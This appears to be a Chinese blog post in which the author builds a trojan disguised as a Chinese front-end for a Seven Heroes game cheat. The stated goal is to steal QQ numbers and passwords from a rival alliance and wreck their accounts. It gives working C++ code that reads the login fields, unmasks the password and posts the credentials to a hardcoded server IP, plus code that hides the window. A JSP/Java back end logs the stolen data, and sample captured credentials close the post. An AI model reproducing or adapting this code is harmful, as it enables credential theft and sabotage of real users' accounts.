用了大半天的时间居然还做出来了,涉及到不少的东西任然是那么简洁,
而且跨越了C++和JAVA,有意思,值得写下纪念。
需求:
对开心游辅助-七雄争霸外挂做一个外加功能,把外挂中用户填写的QQ号和密码发到我的服务器上。
然后把这个木马程序,放入游戏中敌对联盟的QQ群中,拿到使用用户的QQ密码,登入游戏销毁自己。
C++方面:
用VC6建一个对话框程序,这个程序在外挂程序前运行,用户为什么会在运行正真程序之前运行我的程序呢?
很简单,我的程序是中文,而原程序是英文,所以一般的用户会先运行我的程序。
使用的是WIN系统的找窗口功能,SPY++找到这些窗口的特征,
就可以写入代码,准确的得到控件的文本,
hwndf是父窗口的handle,5个控件都是父窗口的子控件,
FindWindowEx的第两个参数就是接着上一窗口往下继续找,
这在让人眼花的控件中可以按顺序准确的定位。
HWND hwndf,hwnd;
char buffer[100];
char Char;
hwndf=::FindWindow("WindowsForms10.Window.8.app.0.378734a","开心游辅助 - 七雄争霸");
//---------验证码--------------------------
hwnd=::FindWindowEx(hwndf,0,"WindowsForms10.EDIT.app.0.378734a",NULL);
Char = ::SendMessage(hwnd,WM_GETTEXT,255,long(buffer));
temp=buffer;
SetDlgItemText(IDC_EDIT4,temp);
//---------密码-------------------------
hwnd=::FindWindowEx(hwndf,hwnd,"WindowsForms10.EDIT.app.0.378734a",NULL);
Char = ::SendMessage(hwnd,EM_GETPASSWORDCHAR,0,0);//获取密码字符
::PostMessage(hwnd,EM_SETPASSWORDCHAR,0,0);//取消密码字符
Sleep(60);
::SendMessage(hwnd,WM_GETTEXT,255,long(buffer));//获取真实密码
::PostMessage(hwnd,EM_SETPASSWORDCHAR,Char,0);//还原密码字符
pass=buffer;
SetDlgItemText(IDC_EDIT3,buffer);
//----------区-----------------------------------
hwnd=::FindWindowEx(hwndf,0,"WindowsForms10.COMBOBOX.app.0.378734a",NULL);
Char = ::SendMessage(hwnd,WM_GETTEXT,255,long(buffer));
area=buffer;
SetDlgItemText(IDC_EDIT6,area);
//-----------服务器-------------------------------
hwnd=::FindWindowEx(hwndf,hwnd,"WindowsForms10.COMBOBOX.app.0.378734a",NULL);
Char = ::SendMessage(hwnd,WM_GETTEXT,255,long(buffer));
server=buffer;
SetDlgItemText(IDC_EDIT5,server);
//------------用户名---------------------------------
hwnd=::FindWindowEx(hwndf,hwnd,"WindowsForms10.COMBOBOX.app.0.378734a",NULL);
Char = ::SendMessage(hwnd,WM_GETTEXT,255,long(buffer));
user=buffer;
SetDlgItemText(IDC_EDIT1,user);
程序运行后,然后每秒钟监控当前控件的文本,如果鼠标到了“登录”按钮上,
并且,5个文本框都有不为空(所以验证码框也要读),就可以取数据了。
数据取得后,用post函数发送出去。
post(user+","+pass+","+server+","+area);
这个函数很短小,就是用CInternetSession的功能,构建一小段http数据,发送http的post到服务器,
我需要发出的数据很少,因此这个小函数非常的合适,接收返回的信息被注释了,确实没什么需要的。
其中有投票什么的代码,那是网上找来的,我不忍破坏。
使用http的好处是80端口可以无阻挡的过防火墙,坏处是服务器就暴露了。
如果用email可以不留痕迹,但mail发出的信息很多安全软件都要提示。
void post(CString str)
{
CInternetSession session;
try
{
CHttpConnection* pConnection =session.GetHttpConnection("190.75.48.100"); //网站服务器
CHttpFile* pFile = pConnection->OpenRequest(CHttpConnection::HTTP_VERB_POST,"7x/getuser.jsp?p1="+str); //直接向投票处理页面提交数据
//下面向提交数据中添加HTTP头,这些可以由网络监视器得到
pFile->AddRequestHeaders("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
pFile->AddRequestHeaders("Referer: http://190.75.48.100/7x/getuser.jsp");
pFile->AddRequestHeaders("Accept-Language: zh-cn");
pFile->AddRequestHeaders("Content-Type: multipart/form-data; boundary=---------------------------7d11dc24268052c");
pFile->AddRequestHeaders("Accept-Encoding: gzip, deflate");
pFile->AddRequestHeaders("User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
pFile->AddRequestHeaders("Content-Length: 1351");
pFile->AddRequestHeaders("Connection: Keep-Alive");
pFile->AddRequestHeaders("Cache-Control: no-cache");
//HTTP头后面就应该是真正的数据了,下面theApp.m_strFormData中就是要提交的数据,服务器处理返回的信息在pFile中
pFile->SendRequest(); //提交所有数据
//NULL,0,theApp.m_strFormData.GetBuffer(0),theApp.m_strFormData.GetLength()其实到这里投票已经可以结束了,不过你如果想看看成果,完全可以把返回的页面分析分析,得到些数据
//char szBuffer[11001]; //用来存放返回的处理页面,要多大看实际情况。当然也可以动态分配,不嫌累的话
//int nLen=pFile->Read(szBuffer,11000);//读取返回的内容,其实是投票结果页面的HTML代码
//szBuffer[nLen]=0;
//CString strTemp=szBuffer; //CString虽然滥了些,但用着就是方便,嘿嘿~
pFile->Close(); //数据读出来后把该关闭的东西都关掉
pConnection->Close();
delete pFile;
delete pConnection;
session.Close();
//下面的代码就是用来分析HTML代码来得到你感兴趣的数据了,和投票没什么关系,就不详细解释了
/* int nPos=strTemp.Find("选项A");
int nTempPos=nPos;
if(nPos==-1)
{
theApp.m_nThreads--;
return 0;
}
nPos=strTemp.Find("table width=100><tr><td align=right>",nPos)+36;
int nEndPos=strTemp.Find("票",nPos);
m_nOurNum=atoi(strTemp.Mid(nPos,nEndPos-nPos));
nPos=strTemp.Find("<tr bgcolor=#DEE6EB><td align=center width=50>1</td>");
nPos=strTemp.Find("table width=100><tr><td align=right>",nPos)+36;
nEndPos=strTemp.Find("票",nPos);
m_nDiff=atoi(strTemp.Mid(nPos,nEndPos-nPos))-m_nOurNum;
m_nVote++;*/
}
catch(...)
{
}
}
这里数据都发送完了,当然,程序是要隐藏的,呵呵。
VC对话框程序的隐藏代码,加到OnInitDialog中即可:
ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW);
SetWindowPos(&wndTop,0,0,0,0,NULL);
差得忘了,还要执行真正的程序,最简单适应的就是shell,一行搞定了。
ShellExecute(this->m_hWnd,"open","SevenBear.exe","","", SW_SHOW );
JAVA方面:
服务器端就是一个web服务器了,接收用户提交过来的http数据.
一个JSP页面接收参数即可,接收的汉字要用函数转换一下双字,不然写到文件中会是乱码。
int error = 0;
String s_p1=tool.get_ch8859(request.getParameter("p1")); if (s_p1==null) {error=1;}
if (error==0)
{ filedb.WriteFile("D:/javaweb/7x/getuser.txt",s_p1); }
JSP中写文件是不能的,必须使用JAVABEAN才能把数据写到文件中。
package tool;
import java.io.*;
public class filedb extends Object
{
private String currentRecord = null;//保存文本的变量
private BufferedReader file; //BufferedReader对象,用于读取文件数据
private String path;//文件完整路径名
public void WriteFile(String filePath,String counter) throws FileNotFoundException
{
try
{
java.io.FileWriter fw=new java.io.FileWriter(filePath,true);
java.io.PrintWriter pw=new java.io.PrintWriter(fw);
pw.println(counter);
pw.close();
fw.close();
}
catch(IOException e)
{
//错误处理
System.out.println("写入文件错误"+e.getMessage());
}
}
}
进过调试,程序安静的工作了,服务器的一个文本中记录一次又一次客户端提交来的数据:
522929,123456,西部区(电信),贵阳1区
522929,123456,西部区(电信),贵阳1区
522929,123456,西部区(电信),甘肃1区
522929,123456,西部区(电信),甘肃1区
522929,123456,西部区(电信),四川5区
522929,123456,西部区(电信),四川5区